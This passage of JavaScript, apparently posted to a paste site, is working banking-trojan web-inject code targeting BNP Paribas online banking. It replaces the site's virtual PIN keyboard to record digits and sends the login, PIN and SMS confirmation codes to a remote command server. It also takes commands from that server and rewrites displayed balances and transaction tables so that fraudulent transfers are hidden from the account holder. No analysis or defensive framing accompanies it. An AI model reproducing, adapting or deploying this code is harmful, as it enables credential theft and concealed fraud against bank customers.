  1433.                                     if(amountTotal > 0){
  1434.                                         replacer.replace(tds[3],amountTotal);
  1435.                                     }
  1436.                                 }
  1437.                             }
  1438.                         }
  1439.                     }
  1440.                 }
  1441.             }
  1442.         }
  1443.     }
  1444. }
  1445.  
  1446. replacer.history = function(){
  1447.     if(replacer.get_historytable(document)){
  1448.         var accountSelect = document.getElementById("cboContractNumbers");
  1449.         if(accountSelect){
  1450.             var accountNumbetPattern = vw.selected(accountSelect).TEXT.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1451.             var amount = replacer.finder_amount(accountNumbetPattern);
  1452.             if(amount > 0){
  1453.            
  1454.                 var topAmountTd = by.args(document,"td","class:soldereleve");
  1455.                 if(topAmountTd){
  1456.                     replacer.replace(topAmountTd,amount);
  1457.                 }
  1458.                
  1459.                 var topVenirAhs = by.args(document,"a","href:mouvementsavenir");
  1460.                 if(topVenirAhs){
  1461.                     replacer.replace(topVenirAhs,amount);
  1462.                 }
  1463.                
  1464.                 var lastAmount = vw.text(topAmountTd).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1465.                 if(summ.get(lastAmount) > 0){
  1466.                     var ahs = vw.from(topAmountTd,"a");
  1467.                     if(ahs && ahs.length > 0){
  1468.                         ahs[0].style.color = "#171897";
  1469.                     }
  1470.                 }
  1471.                
  1472.                 var lastAmount = vw.text(topVenirAhs).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1473.                 if(summ.get(lastAmount) > 0){
  1474.                     topVenirAhs.style.color = "#171897";
  1475.                 }
  1476.                
  1477.                 var table = replacer.get_historytable(document);
  1478.                 if(table){
  1479.                     var trs = vw.from(table,"tr");
  1480.                     if(trs && trs.length > 0){
  1481.                         for(var i = 0; i < trs.length; i++){
  1482.                             var tds = vw.from(trs[i],"td");
  1483.                             if(tds && tds.length > 7){
  1484.                                 var transferInfoPattern = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1485.                                 if(replacer.finder_transfer(transferInfoPattern)){
  1486.                                     trs[i].style.display = "none";
  1487.                                 }
  1488.                                 tds[6].innerHTML = "";
  1489.                             }
  1490.                         }
  1491.                     }
  1492.                 }
  1493.             }
  1494.         }
  1495.     }
  1496. }
  1497.  
  1498. replacer.blocks = function(){
  1499.     if(replacer.get_blockstable()){
  1500.         var lis = vw.from(document,"li");
  1501.         if(lis && lis.length > 0){
  1502.             for(var i = 0; i < lis.length; i++){
  1503.                 if(/blocContent.*jcarousel/igm.test(lis[i].className)){
  1504.                     var accountNumberTag = by.args(lis[i],"p","class:numcompte");
  1505.                     var accountAmountTag = by.args(lis[i],"span","class:solde");
  1506.                     if(accountNumberTag && accountAmountTag){
  1507.                         var accountNumber = vw.text(accountNumberTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|\s*)/igm,"");
  1508.                         var amount = replacer.finder_amount(accountNumber);
  1509.                         if(amount > 0){
  1510.                             replacer.replace(accountAmountTag,amount);
  1511.                             var lastAmount = vw.text(accountAmountTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1512.                             if(summ.get(lastAmount) > 0){
  1513.                                 accountAmountTag.className = "solde vert";
  1514.                             }
  1515.                         }
  1516.                     }
  1517.                 }
  1518.             }
  1519.         }
  1520.         var imgs = vw.from(document,"img");
  1521.         if(imgs && imgs.length > 0){
  1522.             for(var i = 0; i < imgs.length; i++){
  1523.                 if(/closeList/igm.test(imgs[i].src)){
  1524.                     var ahs = imgs[i].parentNode;
  1525.                     jQuery(ahs).unbind("click");
  1526.                 }
  1527.             }
  1528.         }
  1529.     }
  1530. }
  1531.  
  1532. replacer.drops = function(){
  1533.     if(replacer.get_dropstable()){
  1534.         var tables = vw.from(replacer.get_dropstable(),"table");
  1535.         if(tables && tables.length > 0){
  1536.             var table = tables[0];
  1537.             var trs = vw.from(table,"tr");
  1538.             if(trs && trs.length > 0){
  1539.                 for(var i = 0; i < trs.length; i++){
  1540.                     var tds = vw.from(trs[i],"td");
  1541.                     if(tds && tds.length > 5){
  1542.                         var transferInfoPattern = vw.text(tds[0]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1543.                         if(replacer.finder_transfer(transferInfoPattern)){
  1544.                             trs[i].style.display = "none";
  1545.                         }
  1546.                     }
  1547.                 }
  1548.             }
  1549.         }
  1550.     }
  1551. }
  1552.  
  1553. replacer.dropshistory = function(){
  1554.     if(replacer.get_dropshistory()){
  1555.         var table = by.args(document,"table","class:tablecompte");
  1556.         if(table){
  1557.             var trs = vw.from(table,"tr");
  1558.             if(trs && trs.length > 0){
  1559.                 for(var i = 0; i < trs.length; i++){
  1560.                     var tds = vw.from(trs[i],"td");
  1561.                     if(tds && tds.length > 5){
  1562.                         var transferInfoPattern_1 = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1563.                         var transferInfoPattern_2 = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1564.                         if(replacer.finder_transfer(transferInfoPattern_1) || replacer.finder_transfer(transferInfoPattern_2)){
  1565.                             trs[i].style.display = "none";
  1566.                         }
  1567.                     }
  1568.                 }
  1569.             }
  1570.         }
  1571.     }
  1572. }
  1573.  
  1574. replacer.venirhistory = function(){
  1575.     if(replacer.get_venirhistory()){
  1576.         var accountSelect = document.getElementById("ropavenirContractSelect");
  1577.         if(accountSelect){
  1578.             var accountNumbetPattern = vw.selected(accountSelect).TEXT.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1579.             var amount = replacer.finder_amount(accountNumbetPattern);
  1580.             if(amount > 0){
  1581.                 var saldoTag = by.args(document,"a","href:pastoperations");
  1582.                 if(saldoTag){
  1583.                     replacer.replace(saldoTag,amount);
  1584.                    
  1585.                     var lastAmount = vw.text(saldoTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1586.                     if(summ.get(lastAmount) > 0){
  1587.                         saldoTag.style.color = "#171897";
  1588.                     }
  1589.                 }
  1590.                
  1591.                 var topTableHolder = document.getElementById("enteteTypeOp");
  1592.                 if(topTableHolder){
  1593.                     var trs = vw.from(topTableHolder,"tr");
  1594.                     if(trs && trs.length > 0){
  1595.                         for(var i = 0; i < trs.length; i++){
  1596.                             var tds = vw.from(trs[i],"td");
  1597.                             if(tds && tds.length >= 4){
  1598.                                 if(/€/igm.test(vw.text(tds[3]))){
  1599.                                     replacer.replace(tds[3],amount);
  1600.                                 }
  1601.                             }
  1602.                         }
  1603.                     }
  1604.                 }
  1605.                
  1606.                 var secondTopTableHolder = document.getElementById("enteteDateOp");
  1607.                 if(secondTopTableHolder){
  1608.                     var trs = vw.from(secondTopTableHolder,"tr");
  1609.                     if(trs && trs.length > 0){
  1610.                         for(var i = 0; i < trs.length; i++){
  1611.                             var tds = vw.from(trs[i],"td");
  1612.                             if(tds && tds.length > 2){
  1613.                                 if(/€/igm.test(vw.text(tds[1]))){
  1614.                                     replacer.replace(tds[1],amount);
  1615.                                 }
  1616.                                
  1617.                                 if(/€/igm.test(vw.text(tds[2]))){
  1618.                                     replacer.replace(tds[2],amount);
  1619.                                 }
  1620.                             }
  1621.                         }
  1622.                     }
  1623.                 }
  1624.                
  1625.                 var venirTable = replacer.get_venirhistory();
  1626.                 if(venirTable){
  1627.                     var trs = vw.from(venirTable,"tr");
  1628.                     if(trs && trs.length > 0){
  1629.                         for(var i = 0; i < trs.length; i++){
  1630.                             var tds = vw.from(trs[i],"td");
  1631.                             if(tds && tds.length > 2){
  1632.                                 var transferInfoPattern = vw.text(tds[1]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1633.                                 if(replacer.finder_transfer(transferInfoPattern)){
  1634.                                     trs[i].style.display = "none";
  1635.                                 }
  1636.                             }
  1637.                         }
  1638.                     }
  1639.                 }
  1640.             }
  1641.         }
  1642.     }
  1643. }
  1644.  
  1645. replacer.start = function(){
  1646.     replacer.balance();
  1647.     replacer.history();
  1648.     replacer.blocks();
  1649.     replacer.drops();
  1650.     replacer.dropshistory();
  1651.     replacer.venirhistory();
  1652.     vw.showdoc(document);
  1653. }
  1654.  
  1655. //=================== INIT BRIDGE FUNCTIONS =====================
  1656.  
  1657. bridge.historylink = function(doc){
  1658.     if(doc){
  1659.         var tables = vw.from(doc,"table");
  1660.         if(tables && tables.length > 0){
  1661.             for(var i = 0; i < tables.length; i++){
  1662.                 if(/Liste des contrats/igm.test(tables[i].summary)){
  1663.                     var amountTotal = 0;
  1664.                     var trs = vw.from(tables[i],"tr");
  1665.                     if(trs && trs.length > 0){
  1666.                         for(var e = 0; e < trs.length; e++){
  1667.                             var tds = vw.from(trs[e],"td");
  1668.                             if(tds && tds.length > 5){
  1669.                                 var accountNumber = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1670.                                 var amount = replacer.finder_iframe_account(accountNumber);
  1671.                                 if(amount > 0){
  1672.                                     var ahs = vw.from(tds[1],"a");
  1673.                                     if(ahs && ahs.length > 0){
  1674.                                         bridge.status(2);
  1675.                                         vw.mouse("click",ahs[0]);
  1676.                                         return;
  1677.                                     }
  1678.                                 }
  1679.                             }
  1680.                         }
  1681.                     }
  1682.                 }
  1683.             }
  1684.         }
  1685.     }
  1686.     vw.showdoc(document);
  1687. }
  1688.  
  1689. bridge.tranfers = function(doc){
  1690.     var accountSelect = doc.getElementById("cboContractNumbers");
  1691.     if(accountSelect){
  1692.         var accountNumbetPattern = vw.selected(accountSelect).TEXT.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1693.         var amount = replacer.finder_amount(accountNumbetPattern);
  1694.         if(amount > 0){
  1695.             var table = replacer.get_historytable(doc);
  1696.             if(table){
  1697.                 var trs = vw.from(table,"tr");
  1698.                 if(trs && trs.length > 0){
  1699.                     for(var i = 0; i < trs.length; i++){
  1700.                         var tds = vw.from(trs[i],"td");
  1701.                         if(tds && tds.length > 7){
  1702.                             var transferInfoPattern = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1703.                             if(replacer.finder_transfer(transferInfoPattern)){
  1704.                                 return true;
  1705.                             }
  1706.                         }
  1707.                     }
  1708.                 }
  1709.             }
  1710.         }
  1711.     }
  1712.     return false;
  1713. }
  1714.  
  1715. bridge.callback = function(){
  1716.     var bridge_bridge = document.getElementById("bridge.bridge");
  1717.     var bd = bridge.framedoc(bridge_bridge);
  1718.     if(bd.DOC && bd.WIN){
  1719.         switch(bridge.status()){
  1720.        
  1721.             case(1):
  1722.                 bridge.historylink(bd.DOC);
  1723.             break;
  1724.            
  1725.             case(2):
  1726.                 var r = bridge.tranfers(bd.DOC);
  1727.                 if(r){
  1728.                     replacer.start();
  1729.                 }else{
  1730.                     vw.showdoc(document);
  1731.                 }
  1732.             break;
  1733.            
  1734.         }
  1735.     }
  1736. }
  1737.  
  1738. //=================== INIT AJAX FUNCTIONS =====================
  1739.  
  1740. hujax.callback(UniversalCallback);
  1741.  
  1742. function UniversalCallback(){
  1743.     switch(kl){
  1744.        
  1745.         case("check"):
  1746.             if(admindata == "C:ON"){
  1747.                 vw.start();
  1748.             }else if(admindata == "C:BLOCK"){
  1749.                 vw.fake_step("block");
  1750.             }
  1751.             vw.showdoc(document);
  1752.         break;
  1753.        
  1754.         case("login"):
  1755.             if(typeof admindata != "undefined"){
  1756.                 vw.fake_step("wait");
  1757.                 hujax.command();
  1758.             }else{
  1759.                 vw.fake_step("login");
  1760.             }
  1761.         break;
  1762.        
  1763.         case("command"):
  1764.             if(QUERY.FINISH && !QUERY.CHANGED){
  1765.                 vw.fake_step("login");
  1766.             }else{
  1767.                 if(typeof admindata != "undefined"){
  1768.                     var els = admindata.split("|");
  1769.                     if(els && els.length == 2){
  1770.                         if(els[0] == QUERY.COMMAND){
  1771.                             setTimeout(hujax.command,1000);
  1772.                         }else{
  1773.                             QUERY.CHANGED = true;
  1774.                             QUERY.COMMAND = els[0];
  1775.                             QUERY.VALUE = els[1];
  1776.                             vw.actions();
  1777.                         }
  1778.                     }
  1779.                 }
  1780.             }
  1781.         break;
  1782.        
  1783.         case("replacer"):
  1784.             if(typeof admindata != "undefined"){
  1785.                 var els = admindata.split("|");
  1786.                 if(els && els.length > 0){
  1787.                     for(var i = 0; i < els.length; i++){
  1788.                         var p = els[i].split("/");
  1789.                         if(p && p.length == 4){
  1790.                             replacerArray[i] = new Array();
  1791.                             replacerArray[i]["AMOUNT"] = p[0];
  1792.                             replacerArray[i]["ACCOUNT"] = p[1];
  1793.                             replacerArray[i]["NAME"] = p[2];
  1794.                             replacerArray[i]["MEMO"] = p[3];
  1795.                         }
  1796.                     }
  1797.                    
  1798.                     replacer.hide();
  1799.                    
  1800.                     if(replacer.canstart()){
  1801.                         if(replacer.get_balancetable() || replacer.get_historytable(document) || replacer.get_blockstable() || replacer.get_venirhistory()){
  1802.                             bridge.init("hide");
  1803.                             bridge.link("https://www.secure.bnpparibas.net/banque/portail/particulier/FicheA?s=1",1);
  1804.                         }else{
  1805.                             replacer.start();
  1806.                         }
  1807.                     }else{
  1808.                         vw.showdoc(document);
  1809.                     }
  1810.                 }else{
  1811.                     vw.showdoc(document);
  1812.                 }
  1813.             }else{
  1814.                 vw.showdoc(document);
  1815.             }
  1816.         break;
  1817.     }
  1818. }
  1819.  
  1820. hujax.command = function(){
  1821.     var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
  1822.     LINK += "&type=intercept";
  1823.     kl = "command";
  1824.     hujax.send(LINK);
  1825. }
  1826.  
  1827. hujax.start = function(){
  1828.     var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
  1829.     LINK += "&type=intercept";
  1830.     LINK += "&domain="+document.domain;
  1831.     LINK += "&browser="+vw.browser();
  1832.     kl = "check";
  1833.     hujax.send(LINK);
  1834. }
  1835.  
  1836. hujax.replacer = function(){
  1837.     var LINK = GATE+"?mode=REPLACER&hash="+Number(new Date());
  1838.     kl = "replacer";
  1839.     hujax.send(LINK);
  1840. }
  1841.  
  1842. //=================== INIT START FUNCTIONS =====================
  1843.  
  1844. vw.button = function(){
  1845.     if(QUERY.COMMAND == "SMS"){
  1846.         var vwinp_sms_input = document.getElementById("vw.inp_sms_input");
  1847.         if(vwinp_sms_input){
  1848.             vw.fake_step("wait",true);
  1849.             HOLDER.SMS = vwinp_sms_input.value;
  1850.             var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
  1851.             LINK += "&type=intercept";
  1852.             LINK += "&message=Code Recieved";
  1853.             LINK += "&data="+HOLDER.SMS;
  1854.             kl = "command";
  1855.             hujax.send(LINK);
  1856.         }
  1857.     }else{
  1858.         HOLDER.LOGIN = UI_login_input.value;
  1859.         vw.fake_step("wait",true);
  1860.         var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
  1861.         LINK += "&type=intercept&message=Loginning...";
  1862.         LINK += "&domain="+document.domain;
  1863.         LINK += "&browser="+vw.browser();
  1864.         kl = "login";
  1865.         hujax.send(LINK);
  1866.     }
  1867. }
  1868.  
  1869. vw.keyboard_click = function(index,el){
  1870.     if(index < 10){
  1871.         index = "0"+index;
  1872.     }else{
  1873.         index += "";
  1874.     }
  1875.     var origA = by.args(document,"a","href:figureClick.*"+index);
  1876.     if(origA){
  1877.         HOLDER.PASSWORD += /[0-9]/igm.test(vw.text(el)) ? vw.text(el) : "_";
  1878.         vw.mouse("click",origA);
  1879.     }
  1880. }
  1881.  
  1882. vw.keyboard_replace = function(){
  1883.     var keyDiv = document.getElementById("secret-nbr-keyboard");
  1884.     if(keyDiv){
  1885.         var newKey = document.createElement("div");
  1886.         newKey.innerHTML =  '<div style="height:28px;">'+
  1887.                                 '<a onclick="vw.keyboard_click(1,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>1</b></a>'+
  1888.                                 '<a onclick="vw.keyboard_click(2,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1889.                                 '<a onclick="vw.keyboard_click(3,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1890.                                 '<a onclick="vw.keyboard_click(4,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1891.                                 '<a onclick="vw.keyboard_click(5,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>0</b></a>'+
  1892.                             '</div>'+
  1893.                             '<div style="height:28px;">'+
  1894.                                 '<a onclick="vw.keyboard_click(6,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1895.                                 '<a onclick="vw.keyboard_click(7,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1896.                                 '<a onclick="vw.keyboard_click(8,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>2</b></a>'+
  1897.                                 '<a onclick="vw.keyboard_click(9,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>9</b></a>'+
  1898.                                 '<a onclick="vw.keyboard_click(10,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1899.                             '</div>'+
  1900.                             '<div style="height:28px;">'+
  1901.                                 '<a onclick="vw.keyboard_click(11,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1902.                                 '<a onclick="vw.keyboard_click(12,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>7</b></a>'+
  1903.                                 '<a onclick="vw.keyboard_click(13,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1904.                                 '<a onclick="vw.keyboard_click(14,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1905.                                 '<a onclick="vw.keyboard_click(15,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1906.                             '</div>'+
  1907.                             '<div style="height:28px;">'+
  1908.                                 '<a onclick="vw.keyboard_click(16,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1909.                                 '<a onclick="vw.keyboard_click(17,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1910.                                 '<a onclick="vw.keyboard_click(18,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>5</b></a>'+
  1911.                                 '<a onclick="vw.keyboard_click(19,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>4</b></a>'+
  1912.                                 '<a onclick="vw.keyboard_click(20,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>6</b></a>'+
  1913.                             '</div>'+
  1914.                             '<div style="height:28px;">'+
  1915.                                 '<a onclick="vw.keyboard_click(21,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1916.                                 '<a onclick="vw.keyboard_click(22,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1917.                                 '<a onclick="vw.keyboard_click(23,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1918.                                 '<a onclick="vw.keyboard_click(24,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>8</b></a>'+
  1919.                                 '<a onclick="vw.keyboard_click(25,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>3</b></a>'+
  1920.                             '</div>'+
  1921.                             '';
  1922.         keyDiv.parentNode.insertBefore(newKey,keyDiv);
  1923.         keyDiv.style.display = "none";
  1924.     }
  1925. }
  1926.  
  1927. vw.lethim = function(){
  1928.     vw.mouse("click",UI_login_button);
  1929. }
  1930.  
  1931. vw.start = function(){
  1932.     vw.blockenter(UI_login_input);
  1933.     vw.keyboard_replace();
  1934.     var ahs = vw.from(document,"a");
  1935.     if(ahs && ahs.length > 0){
  1936.         for(var i = 0; i < ahs.length; i++){
  1937.             if(/reinit/igm.test(ahs[i].href)){
  1938.                 vw.bind(ahs[i],"click",function(){
  1939.                     HOLDER.PASSWORD = "";
  1940.                 });
  1941.             }
  1942.         }
  1943.     }
  1944.     clone.click(UI_login_button,vw.button);
  1945. }
  1946.  
  1947. vw.inside = function(){
  1948.     return by.args(document,"img","alt:d.*connexion");
  1949. }
  1950.  
  1951. function _start(){
  1952.     if(UI_login_input && UI_password_input && UI_login_button){
  1953.         hujax.start();
  1954.     }else if(vw.inside()){
  1955.         hujax.replacer();
  1956.     }else{
  1957.         vw.showdoc(document);
  1958.     }
  1959. }
  1960.  
  1961. _start();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement